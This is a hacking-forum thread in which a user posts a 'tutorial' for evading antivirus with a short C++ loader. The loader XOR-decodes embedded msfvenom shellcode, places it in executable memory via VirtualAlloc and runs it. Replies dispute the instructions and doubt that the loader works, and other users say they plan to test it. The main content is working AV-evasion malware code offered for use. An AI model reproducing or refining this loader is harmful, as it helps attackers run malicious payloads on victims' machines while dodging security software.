

Forum:[Hack Forums](#)

Thread: [\[TUT\] Bypassing AV with 10 lines of code](#)

Clova - February 18, 2019, 1:52 pm

Hey HF,

I am here to show you that AV is largely useless. Most people agree that bypassing most antivirus based solutions is not that hard, however we don't all have the same skillsets; some of us have been at this longer than others.

To start, generate your shellcode in C# format (eg 0xA3, 0xFF) using something like msfvenom.

Next, write the following C++ code to a file called av_bypass.cpp:

```
Code #include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
    char b[] = { /* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */ };
    char c[sizeof b];
    for (int i = 0; i < sizeof b; i++) { c[i] = b[i] ^ 'x'; }
    void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, c, sizeof c);
    ((void(*)())exec)();
}
and paste your shellcode in the char[].
```

Finally, compile the file and run it: Code cl av_bypass.cpp

NOTE: Spoiler [\(Click to View\)](#)

The success of this method greatly depends on the payload. This bypass method is signature based and may get flagged by heuristic methods (again, depending on the payload).

Thanks!

Baud - February 20, 2019, 1:11 pm

You obviously copied this from somewhere else because you're not providing the correct instructions on how to use this code. This is just a simple XOR crypter, the output of msfvenom is a full executable unless you ask for a raw output, and even then, you'd need to XOR the output manually before you can paste its bytes in hexadecimal form inside the code above.

(Feb 18, 2019 02:52 PM)Clova Wrote: [\[CITE\]](#) To start, generate your shellcode in C# format (eg 0xA3, 0xFF) using something like msfvenom.

Also this screams "I don't know what I'm talking about" from a mile away. C# is a programming language, you're referring to hexadecimal notation. Besides simple XOR crypters are typically picked up immediately during runtime, have you actually tested this? Can you provide a link to a binary you have successfully bypassed an AV using this crypter, and the corresponding scan results?

Clova - February 20, 2019, 1:47 pm

(Feb 20, 2019 02:11 PM)Baud Wrote: [\[CITE\]](#) You obviously copied this from somewhere else because you're not providing the correct instructions on how to use this code. This is just a simple XOR crypter, the output of msfvenom is a full executable unless you ask for a raw output, and even then, you'd need to XOR the output manually before you can paste its bytes in hexadecimal form inside the code above.

Also this screams "I don't know what I'm talking about" from a mile away. C# is a programming language, you're referring to hexadecimal notation. Besides simple XOR crypters are typically picked up immediately during runtime, have you actually tested this? Can you provide a link to a binary you have successfully bypassed an AV using this crypter, and the corresponding scan results?

Msfvenom calls the "0xFF" format 'csharp', just trying to go for consistency. Not all hex notations are created equal.

Baud - February 20, 2019, 2:46 pm

(Feb 20, 2019 02:47 PM)Clova Wrote: [\[CITE\]](#) Msfvenom calls the "0xFF" format 'csharp', just trying to go for consistency. Not all hex notations are created equal.

So you mean the "-f csharp" flag, my bad, seeing C# takes my mind in other places. However if you want this guide to be actually helpful for beginners (as you have said yourself) you should make sure clear steps are provided with a good explanation to avoid confusions, and to allow your readers to understand how things work.

Clova - February 20, 2019, 2:48 pm

(Feb 20, 2019 03:46 PM)Baud Wrote: [\[CITE\]](#) So you mean the "-f csharp" flag, my bad, seeing C# takes my mind in other places. However if you want this guide to be actually helpful for beginners (as you have said yourself) you should make sure clear steps are provided with a good explanation to avoid confusions, and to allow your readers to understand how things work.

Yes, that flag. I'll update the post, thanks for the suggestion!

eckson66 - February 21, 2019, 3:25 pm

wow this is very interesting to i will test it and give u feedback

wrapmycode - April 4, 2019, 9:49 pm

I have to test this code. thank you

dracx - April 5, 2019, 12:34 am

I dont think this will bypass the AV, this seems like a pretty basic crypter code and I guess AVs will pick it up immediately. Allocate memory, then execute it? I dont see much success. thanks for sharing btw.

Sitrep - April 6, 2019, 4:43 am

I think the tutorial is hard to understand since you left some critical parts out.

My first thought is where do I use that C# code? And how do I implement it with msfvenom?

Maybe I lack with experience here but regardless you should add those steps in the tutorial, just to make it simpler to understand.